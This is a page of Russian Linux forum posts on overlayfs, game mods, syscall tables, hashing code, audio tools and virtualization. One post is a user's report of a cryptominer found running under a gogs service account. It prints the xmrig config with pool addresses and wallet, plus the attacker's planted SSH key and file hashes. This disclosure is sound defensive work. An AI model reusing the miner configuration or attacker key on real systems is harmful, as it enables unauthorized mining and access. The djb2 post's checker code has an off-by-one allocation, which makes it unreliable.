LINUX.ORG.RU

Избранные сообщения LINUX-ORG-RU

Как грамотно смонтировать overlayfs поверх корня?

Форум — Linux-install

Здравствуйте. На девайсе стоит Ubuntu. Хочу смонтировать поверх ридонли корневой системы оверлей. Initramfs не используется. Сейчас делаю так, но как-то некрасиво получается: в выводе mount торчат старые точки монтирования и будто-бы old_root — какая-то лишняя сущность.

root=/dev/mmcblk0p1 ro init=/init_overlay
# /init_overlay

mount -t proc proc /proc
mount /dev/mmcblk0p2 /mnt/
mkdir -p /mnt/{lower,upper,work,root}

mount --bind / /mnt/lower
mount -t overlay overlay \
      -o lowerdir=/mnt/lower,upperdir=/mnt/upper,workdir=/mnt/work \
      /mnt/root

umount /dev
umount /proc

cd /mnt/root
pivot_root . old_root

exec /sbin/init   # systemd

А как нормальные люди это делают? Спасибо.

 , ,

stabilitron
()

Релиз Diffusion: мода для Half-Life 1

Форум — Games

https://www.moddb.com/mods/diffusion

Краткая подводка к сюжету:

Вы играете за Джеймса Смита, бывшего бойца SWAT, который отправился в отпуск… но его машина сломалась посреди пустынной местности штата Юта.
В поисках помощи герой находит заброшенный перерабатывающий завод и очень быстро понимает, что место это совсем не такое, каким кажется.

Автор проекта - Богдан Макаров (Aynekko), который в одиночку вытащил гигантский хобби-проект, сделав настоящую тотал-конверсию с собственной историей, картами, моделями и атмосферой.

Что внутри:

  • Полноценная одиночная кампания на 8–12 часов.
  • Deathmatch-мультиплеер со своими картами и ботами.

Автор использует часть моделей и текстур, найденных в свободном доступе, но открыт к корректировкам и и указаниям авторства.

Помимо всего остального, музыку автор писал сам, послушать, скачать или купить можно тут: https://traceline.bandcamp.com/

Есть нативная сборка под GNU/Linux amd64. Примечателен тем, что сделан на основе кроссплатформенного движка Xash3D FWGS, форка оригинального Xash3D, к которому причастны я, @mittorn и ещё множество других людей, которые вроде как не зарегистрированы на ЛОРе.

Исходники от игровой части скорее всего будут в начале следующего года.

 , ,

a1ba
()

Сайты с таблицами системных вызовов

Форум — Development
  1. https://syscalls.mebeim.net – всегда свежие данные; есть сигнатура вызова; JSON для отдельных версий ядра.

  2. https://syscalls.defoy.tech – еженедельное обновление; syscalls.tar.gz всех CSV.

  3. https://x64.syscall.sh – только arm, arm64, x86; есть сигнатура вызова; есть API сайта.

  4. https://filippo.io/linux-syscall-table – Linux 6.16-rc1; нечёткий поиск по имени; исходники этого HTML на Go.

Enjoy!

 

dataman
()

Опубликована программа XXI конференции разработчиков СПО

Новости — Конференции и встречи
Группа Конференции и встречи

Опубликована программа XXI конференции разработчиков свободного программного обеспечения (OSSDEVCONF), которая состоится 3–5 октября в Институте программных систем РАН в Переславле-Залесском.

На мероприятии соберутся разработчики и энтузиасты свободного ПО и открытого аппаратного обеспечения, чтобы обсудить новейшие достижения в области СПО, OSHW и перспективы их развития, наладить личные и профессиональные контакты и обменяться опытом, инициировать создание новых проектов. Формат конференции предполагает открытую встречу докладчиков и слушателей, а также личное общение.

( читать дальше... )

>>> Программа конференции

 , , , ,

Bircoph
()

Существуют ли реальные примеры, где использование [[likely]] и [[unlikely]] приводит к улучшению производительности?

Форум — Development

Если да, то приведите примеры, не обязательно для x86. Это может быть, например, ARM.

 

Patifon_Kakao
()

XXI конференция разработчиков СПО

Новости — Конференции и встречи
Группа Конференции и встречи

3–5 октября в Институте программных систем РАН в Переславле-Залесском Ярославской области пройдёт XXI конференция разработчиков свободного программного обеспечения (OSSDEVCONF). На мероприятии соберутся разработчики и энтузиасты свободного ПО и открытого аппаратного обеспечения, чтобы обсудить новейшие достижения в области СПО, OSHW и перспективы их развития, наладить личные и профессиональные контакты и обменяться опытом, инициировать создание новых проектов. Формат конференции предполагает открытую встречу докладчиков и слушателей, а также личное общение.

( читать дальше... )

>>> Сайт XXI конференции разработчиков СПО

 , , ,

Bircoph
()

Музыкальный Linux для Игростроя

Форум — General

٩(。•́‿•̀。)۶

Ну, пора задуматься о музыке. Хочу написать десяток длинных амбиентов для игры, каждый соответствует локации для звукового выделения сцены + один универсальный для масло маслянное универсальных ситуаций. Ну плюс ещё отдельные звуки и музыка в соответствии с происходящими событиями. Короче хочу диалог игры и игрока не только визуальный, но и звуковой, а не только для галочки на фон повесить что-то из opengameart.com и всё.

Раньше пытался что-то брякать используя Pianoteq (Бесплатную версию где 20% клавиш не работает) https://www.jamendo.com/artist/443601/elizar-laboratories/singles

Ещё куда-то заливал всякую хрень, но не помню уже что и куда. Ну да ладно это из разряда что «умею».

Пробовал как Ъ взять LMMS и всё делать там. Получается говняшка. Для себя понял что мне надо просто играть отрезки, затем из них складывать композицию (ибо я не умею и не могу играть сразу гтовое на основе нот или целиком составлять композицию) затем через VST плагины отдельные отрезки и/или всю композицию приводить к тому виду который будет интересен.

Что у меня есть

  • Миди клава M-Audio keystation 88es ~15 клавиш не работают (;⌣̀_⌣́)

Чво я умею <( ̄︶ ̄)>

  • Открыть Pianoteq/LMMS+SF2/Hydrogen или иное в зависимости от нужного инструмента
  • Сесть и просто брякая наигрывать что в голову взбредёт, в процессе находя интересное и далее импровезировать с этим интересным по итогу получается минут 20 потока «музыки» в виде записанного wav и MIDI из которых вырезаю понравившиеся куски, эти куски либо сами по себе либо потом пытаюсь их переиграть. Нот я не знаю. Если хочу повторить своё ранее что-то то просто прослушиваю старое и играю снова.

Ну и всё, больше я ничего не умею, на компе мегабайт 150 миди+wav отрывков накопилось :D от импровизаций

Чво я хочу (๑˃ᴗ˂)ﻭ

  • Открыть программу музыкальну
  • Выбрать инструмент любой или внешний типа Pianoteq
  • Сыграть несколько разного в поисках нужного (ну например амбиент для сцены весёлой/грустной/страшной/глупой/странной/затейливой/непонятной/начальной/конечной/ууууууу многа и надо эксперементировать)
  • На месте взять сыгранное и нарезать
  • Из нарезок составить композицию «ну не умею я целиком нужное взять и сыграть… ::(»
  • На отдельные отрезки наложить преобразования VST плагинами (будто есть альтернатива)
  • На всю композицию наложить преобразование для выравнивания по стилю (Ну там заглушить что-то или просто эхо добавить общее)

Ну и всё. Как то так. Редакторов куча,VST плагинов разных типов куча. По хорошему надо 360 монитор что-бы всё что надо вывести на экран с их милллиардами кнопок и крутилок

  • 1 Посоветуйте пожалуйста редактор (Ardour?)
  • 2 Посоветуйте пожалуйста VST на все случаи жизни (Calf?)

Посоветуйте пожалуйста иное. Понятное дело что надо пробовать, но тут же есть те кто уже прошарен и может сказать что мне лучше подойдёт например всё же LMMS если его правильно готовить.

Короче я от разнообразия потерялся, мне хочется просто один раз выбрать программный стек где я буду делать всё. Пусть этот стек будет неидеальным, но блин я не могу досканально изучить всё т те же VST там чёрт об них ногу сломит, выберу один и буду на нём жить. только вот какой (набор) выбрать calf **ка красивый что я не могу, такой уровень графиков и индикации наверное ни у одной программы нет, программировал просто боженька.

Ну вот как то так. Помогите советом пожалуйста. Не хочется скакать туда да сюда. Хочется просто взять инструменты в виде программ и просто начать работать, да их надо будет изучать, это понятное дело. Но вот что бы сыграть-нарезать-склеить-обработать и всё.

Пока вдохновился этим https://www.youtube.com/watch?v=u_PR46u1T_s но просто решил ещё задать вопрос текущий ибо вдруг кто что посоветует. Я в этом всём слабо шарю.

Всем добра и мира ::)

 , , , ,

LINUX-ORG-RU
()

Все извесные djb2 коллизии

Форум — Development

UPD: Дададада strcmp в общих случаях быстреее, не пишите мне про это, всё есть в треде, спаааасииибо ))

У кого есть список коллизий хеш алгоритма djb2? Выбрал его как замену strcmp() ибо не смотря на все оптимизации с SSE2 strcmp() проигрывает почти в 4 раза.

[DEBUG] (src/engine.c:timer_start:112) Timer 0 'strcompare' Start: 0.000000
[DEBUG] (src/engine.c:timer_stop:133)  Timer 0 'end' End: 0.189000
[DEBUG] (src/engine.c:timer_start:112) Timer 0 'strhash-compare' Start: 0.000000
[DEBUG] (src/engine.c:timer_stop:133)  Timer 0 'end' End: 0.053000

Ну и опционально, приведу код может кто ещё подскажет как ускорить

Сейчас поиск элемента в материале такой 1000000 интераций поиска 0.189000 секунд cpu MHz: 3501.001

material_item material_entry_item(material_entry* me, char* name) {

  for(int i = 0; i < me->num_items; i++){
    if(me->names[i][0] == name[0]){
    if (strcmp(me->names[i], name) == 0){
       return me->items[i];
    }}
  }

  material_item empty;
  memset(&empty, 0, sizeof(empty));
  return empty;
}

Оно же с хешем djb2 1000000 интераций поиска 0.053000 секунды cpu MHz: 3501.009

long
hash(char *str)/*djb2*/
{
    register long hash = 5381;
    register int c;

    while ((c = *str++))

    hash = ((hash << 5) + hash) + c; /* hash * 33 + c */

    return hash;
}


material_item material_entry_item2(material_entry* me, char* name) {

  for(int i = 0; i < me->num_items; i++){
    if(me->names[i][0] == name[0]){
    if(hash(me->names[i]) == hash(name)){
       return me->items[i];
    }}
  }

  material_item empty;
  memset(&empty, 0, sizeof(empty));
  return empty;
}

Сам файл материала выглядит так он загружается в в стуктуру material_entry каждая строка вносится в union material_item именно поиск item мы и выполняем по имени

float  sadfsdf = 0
int  sadfsadf = 0
bool dfgdfgdf = 0
float asdfaksdfhaskdjf = 0 
bool  sdfasdjfioasdjf = 0
int  fsdfaefasdfasdfas = 0
float  sadfasdfaefsf = 0
float aasdfasdfsadf = 0
float asiodufhaoiuefhw = 0
bool  654654sadfasdf = 0
int  fq34tgsergwtysdfgg = 0
float asdfasdfsdfasfwe = 0
bool sdfggesrdf = 0
int asdfgrstghrth = 0
int atyehdfdfhdfgh = 0
float adtghrt6htrh = 0
int test_value = 333

Ну первое что приходит на ум это добавить в material_entry поле hash куда делать предрасчёт хеша так мы сократим время поиска ещё в ~двое. Ну может у кого иди какае ещё будет как сделать ещё быстрее (без openmp и прочего параллелизма) Но основной вопрос про коллизии djb2, хочется их знать и проверять на этапе загрузки материалов.

Оригинальный код тут https://github.com/orangeduck/Corange/blob/master/src/assets/material.c https://github.com/orangeduck/Corange/blob/master/include/assets/material.h

Короче ладно, пока остановлюсь на djb2 вместо strcmp проверка коллизий будет осуществляться через функцию которая будет аккумулировать в себе все уникальные строки имён материалов (их у меня десятка два, а будет может ещё десяток так что норм) и при загрузке каждого нового материала будет проверять есть ли коллизия хеша между всеми теми что есть и новыми, вот сам код если кому надо будет.

чекер коллизий (без проверок аллокации, так что ну вы поняли) акоммулирует в себе всё уникальное чекает входящее и сохраняет в себе для последующих сравнений

void hash_cheker(char * str)
{

    static char ** hash_cheker_storage  = NULL;
    static long hash_cheker_storage_num = 0;
    
    if(hash_cheker_storage == NULL)
    {
        hash_cheker_storage_num++;
        hash_cheker_storage = malloc(sizeof(char**) * hash_cheker_storage_num+1);
        hash_cheker_storage[hash_cheker_storage_num-1] = malloc(sizeof(char)* strlen(str));
        memset(hash_cheker_storage[hash_cheker_storage_num-1],'\0',strlen(str));
        strcat(hash_cheker_storage[hash_cheker_storage_num-1],str);
        debug("HASH CHECK OK: %s ",str);
        return;
    }

    bool new_elem = false;
    for (int i = 0; i < hash_cheker_storage_num; i++)
    {
        if(strcmp(hash_cheker_storage[i],str) == 0)
        {
           return;
        };
    };


    for (int i = 0; i < hash_cheker_storage_num; i++)
    {
        if(hash(hash_cheker_storage[i]) == hash(str))
        {
            error("Сollision Hash between '%s' (%ld) and '%s' (%ld) choose another name for '%s'",
            hash_cheker_storage[i],hash(hash_cheker_storage[i]),
            str,hash(str),
            str);
            return;
        };
    };

    hash_cheker_storage_num++;
    hash_cheker_storage = realloc(hash_cheker_storage,sizeof(char**) * hash_cheker_storage_num+1);
    hash_cheker_storage[hash_cheker_storage_num-1] = malloc(sizeof(char)* strlen(str));
    memset(hash_cheker_storage[hash_cheker_storage_num-1],'\0',strlen(str));
    strcat(hash_cheker_storage[hash_cheker_storage_num-1],str);
   
    debug("HASH CHECK OK: %s ",str);
    for (int i = 0; i < hash_cheker_storage_num; ++i)
    {
        debug("HASH: %-10s = [%ld]",hash_cheker_storage[i],hash(hash_cheker_storage[i]));
    }
}

А вот вся суть


[DEBUG] (main.c:hash_cheker:78) HASH CHECK OK: asdfgrstghrth 
[DEBUG] (main.c:hash_cheker:81) HASH: sadfsdf    = [229482278995104]
[DEBUG] (main.c:hash_cheker:81) HASH: sadfsadf   = [7572915206835201]
[DEBUG] (main.c:hash_cheker:81) HASH: dfgdfgdf   = [7572282502104081]
[DEBUG] (main.c:hash_cheker:81) HASH: asdfaksdfhaskdjf = [1788434361038682215]
[DEBUG] (main.c:hash_cheker:81) HASH: sdfasdjfioasdjf = [-531356999790002134]
[DEBUG] (main.c:hash_cheker:81) HASH: fsdfaefasdfasdfas = [2674916009048082468]
[DEBUG] (main.c:hash_cheker:81) HASH: sadfasdfaefsf = [3622462406116730534]
[DEBUG] (main.c:hash_cheker:81) HASH: aasdfasdfsadf = [-7929917643305991168]
[DEBUG] (main.c:hash_cheker:81) HASH: asiodufhaoiuefhw = [-2980351034500385520]
[DEBUG] (main.c:hash_cheker:81) HASH: 654654sadfasdf = [6604793431210835103]
[DEBUG] (main.c:hash_cheker:81) HASH: fq34tgsergwtysdfgg = [7202372098568309662]
[DEBUG] (main.c:hash_cheker:81) HASH: asdfasdfsdfasfwe = [1799994182520512308]
[DEBUG] (main.c:hash_cheker:81) HASH: sdfggesrdf = [8246908965533417028]
[DEBUG] (main.c:hash_cheker:81) HASH: asdfgrstghrth = [-7043038456319946496]
[DEBUG] (main.c:hash_cheker:78) HASH CHECK OK: atyehdfdfhdfgh 

Сам материал же выглядит так

material_item material_entry_item2(material_entry* me, char* name) {

  register long hash_name = hash(name);
  for(register int i = 0; i < me->num_items; i++){
    if(me->hash[i] == hash_name){ //me->hash[i] предрасчитан заранее на этапе инициализации material_entry
       return me->items[i];
    }
  }

  material_item empty;
  memset(&empty, 0, sizeof(empty));
  return empty;
}

UDP: Правда я лоханулся ибо доступ к аллоцируемой памяти дольше и для предрасчёта надо брать статичный массив, а в нём уже ссылаться на позицию item. Ай да и ладно, пока что химичу, основной вопрос с колизиями решён, тему закрою. Но в целом, если использовать #pragma omp parallel for для поиска по strcmp() то эта комбина рвёт как тузик грелку поиск по хешу.

 , , ,

Deleted
()

Симулятор схем на логических элементах

Форум — General

Убирался давече и надыбал за диваном 10 штук к555ла6 в коробочке, упали и забылось =) вот думаю что зафигачить на них полезного, рядом лежит HDD дохлый, может попробовать на логике сделать драйвер. Но чёт мне лень рисовать, хочется поиграть с логикой. Есть ли под linux простой без прибамбасов симулятор? Хотя там надо по сути цепи задержки делать и нужна поддержка конденсаторов и резисторов. Хотя можно и без задержки сам посчитаю.

P.S. А есть ли виртуальный осцилограф который можно к такому симулятору подрубить и посмотреть на синхроимпульсы которые я буду генерировать логикой?

P.P.S. Сорян если тупость, я никогда этим раньше не интересовался, касаемо такого софта.


 , , , ,

LINUX-ORG-RU
()

Вытравил первую в жизни платку

Форум — Talks

И даже залудил! Канец навесному монтажу по топологии вермишели! (декоративный навесной монтаж не в счёт) Уууууууу :D

Рисовал маркером, травил перекисью водорода и лимонкой, гы. https://i.ibb.co/nmWm15D/20220514-212448.jpg

Думал по ходу дела как травить поменьше площади и поточнее чем маркером. Придумал наносить на текстолит кусочек парафина, нагреть что-бы растёкся тонким слоем, а затем чем угодно удобным типа карандашика (или иглы если нужно очень тонко) продирать место травления (получаются очень точные прорези в парафине) то есть не дорожки сами, а пространство между ними (хотя можно и наоборот, только придётся снова что-то наносить, а потом парафин удалять, с одной стороны в теории качественные дорожки, с другой геморой). В теории должно сработать завтра буду пробовать.

Нахер ты сюда это всё принёс?
А чё бы нет?

 , , , ,

LINUX-ORG-RU
()

virt-manager и вывод графики

Форум — Development

Возможно ли заставить virt-manager отображать графику также шустро как при kvm -display gtk,gl=on --device virtio-vga-gl?

Уточню в virt-manager настроено ускорение и на госте glxinfo -B показывает что всё хорошо, всё ускорено, устройство virgl OpenGL 4.2, также как и при -display gtk,gl=on запуске виртуалки из терминала, а не через virt-manager, разница именно что я так понимаю в выводе итоговом изображении.

Я глубоко не вникал, но при запуске в ручном режиме можно спокойно внутри в 3D шутеры гонять, но неудобно манипуляции всякие делать типа подключить/отключить CD на горячую. Через virt-manager наоборот можно мышевозить, гасить одно, запускать другое и прочее, но вывод лагает :(

А я с 3D работаю и на гостях тестирую.


Заранее отвечу проброс карты невозможен, материнка M4A88TD-M/USB3 не умеет.
Да и не нужно, virgl выдаёт на глаз нативное ускорение, но только при выводе через gtk/sdl

Я гуглил, но информации много, порой противоречивой, мне главное узнать можно ли то что я хочу или нет

 , , , ,

LINUX-ORG-RU
()

lsFusion 6.0 — открытая и бесплатная платформа для разработки бизнес-приложений

Новости — Разработка
Группа Разработка

Вышла новая версия lsFusion 6.0 — открытой и бесплатной платформы для разработки бизнес-приложений. В ней сделан упор на Web UX и расширение возможностей для создания современных веб-приложений.

( читать дальше... )

>>> Подробности

 ,

NitroJunkie
()

АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер!

Форум — Security

GOGS НАВЕРНОЕ НЕ ВИНОВААААТ!!!!!!!!!!!!! UPDATE3 НИЖЕ!!!!!!! Я ЛОХХХХХХХХХ :D

Подробности чуть попозже я сейчас аудит аудитаю. Сеть включил только что-бы отписать, сейчас вырублю.

Суть у меня от отдельного пользователя по имени gogs был запущен сервис gogs через systemd https://i.ibb.co/qpthFzW/20210913040630-494x376.png не так давно мне приспичило перезагрузить комп ибо я забыл на проце виртулизацию активировать, и после включения и поднятия гогса 3 ядра проца зависли на 100% я увидал это https://i.ibb.co/GWB9Qwz/20210913033655-1408x93.png погрепал нашёл это https://i.ibb.co/bsKhpD5/20210913040047-507x381.png

В логал скрипты долбились во всё, но остались под пользователем gogs. Процессы (там ещё были) я не убил, а приостановил. Хороче сейчас всё проверю и вернусь.

Почему гогс? Да потому что он запускался от отдельного пользователя и кроме настроенного gogs там ничего нет. У меня сейчас скрипты, ssh ключ публичный который прописался вместо того что был, бинарник этой хрени и логи немного. Я хз куда скидывать эту гадость, да и скидывать ли?

UPDATE

И так сегодня ночью я перезагрузил ПК. Обнаружил что 3 ядра процессора заняты на 100% увидев запущенный процесс ./kswapd0 запущенный от пользователя gogs которого я создал что-бы от его имени запускалась git вебморда одноимённого проекта.

Все процессы от имени пользователя gogs я приостановил, отключил все сетевые соединения и погасил интерфейсы eth0,wlan0

Cверил /etc с бекапом по sha512 всё прежнее, на месте, обновлённое проверил глазами, никаких прописанных кронов и сервисов нет.

Все файлы из пользователя gogs скопировал в отдельный каталог для изучения. Запущенные процессы не имели открытых файлов поэтому там изучать нечего я их просто убил. Так же вычистил всё что-было связано с пользователем gogs и затем удалил его самого. Всё. Проверил свой хомяк, левых бинарей у меня нет. ssh по ключам. Никакой активности всё штатно. Эта вода что-бы не отвечать на вопросы, а ты это, а ты то.

И так, запустил я компуктер и запустился гогс сервер (а я реееедко перезагружаюсь) Его лог на момент запуска.

2021/09/13 00:17:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:27:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:31:38 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:38 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:38 [ INFO] Cache Service Enabled
2021/09/13 00:31:38 [ INFO] Session Service Enabled
2021/09/13 00:31:38 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:38 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:38 [ INFO] SQLite3 Supported
2021/09/13 00:31:38 [ INFO] Run Mode: Production
2021/09/13 00:31:39 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:41:58 [TRACE] Doing: MirrorUpdate

Во время его работы были созданы файлы с датой создания Пн 13 сен 2021 00∶31∶38 в каталоге ./configrc

.configrc$ ls -lAR
.:
итого 16
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 a
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 b
-rwxrwxrwx 1 1002 1002  271 сен 13 00:31 cron.d
-rwxrwxrwx 1 1002 1002   21 сен 13 00:31 dir2.dir

./a:
итого 2820
-rwxrwxrwx 1 1002 1002     876 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002       1 сен 13 02:44 bash.pid
-rwxrwxrwx 1 1002 1002      23 сен 13 02:44 dir.dir
-rwxrwxrwx 1 1002 1002    9568 сен 13 00:31 init0
-rwxrwxrwx 1 1002 1002 2843144 сен 13 00:31 kswapd0
-rwxrwxrwx 1 1002 1002      10 сен 13 05:44 .procs
-rwxrwxrwx 1 1002 1002     226 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002     700 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002     202 сен 13 00:31 upd

./b:
итого 84
-rwxrwxrwx 1 1002 1002 11634 сен 13 05:44 1
-rwxrwxrwx 1 1002 1002   157 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002    23 сен 13 00:31 dir.dir
-rwxrwxrwx 1 1002 1002 50935 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002  6004 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002    42 сен 13 00:31 sync

Внутри видно kswapd0 который и был запущен. Это бинарь упакованый. Внутри майнер xmrig c вшитым конфигом вот такого содержания

            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
         {
            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
   	 {
            "algo": null,
            "coin": "monero",
            "url": "debian-package.center:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "retries": 1,
    "retry-pause": 3,
    "syslog": false,
    "user-agent": null,
    "watch": true,
    "pause-on-battery": false
}

Сам бинарник публиковать не буду.

Одним из скриптов был удалён и вновь создан каталог .ssh с содержимым.

.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

SHA512 всех этих файлов

1ba854c321d89441291da2638d65748ffa06923a63fd2bb9be8a66440236503fb34e375726a8da679b55ced51dda82293ffcfb8bb76563e2da0071222d3247bf  .ssh/authorized_keys

3567d8d553d42e4450683126ac7beac5c5e713091b20aaf28040d91bfebe19b0431588d7c34e4a3d5c6e4f7af45e1ccce7654e730c0512c0c5c5d28be548cb24  .configrc/cron.d

ee8c0f03fa194321a0a8324418ba3204b06323a424b295b514213e90aa656a47d76e2f81074d46ccddd7801276de7d5665a3bbd770507dc6425e697b5bc97c95  .configrc/dir2.dir

f26bcbdcf7417308bdec3f3f8b6ef453d2b7417b16d015eeddfc447955068b48667554fd9a1b896ee9d44ac3c2cac54137fc455c45f94251f42e5e3a1e7b6230  .configrc/a/a

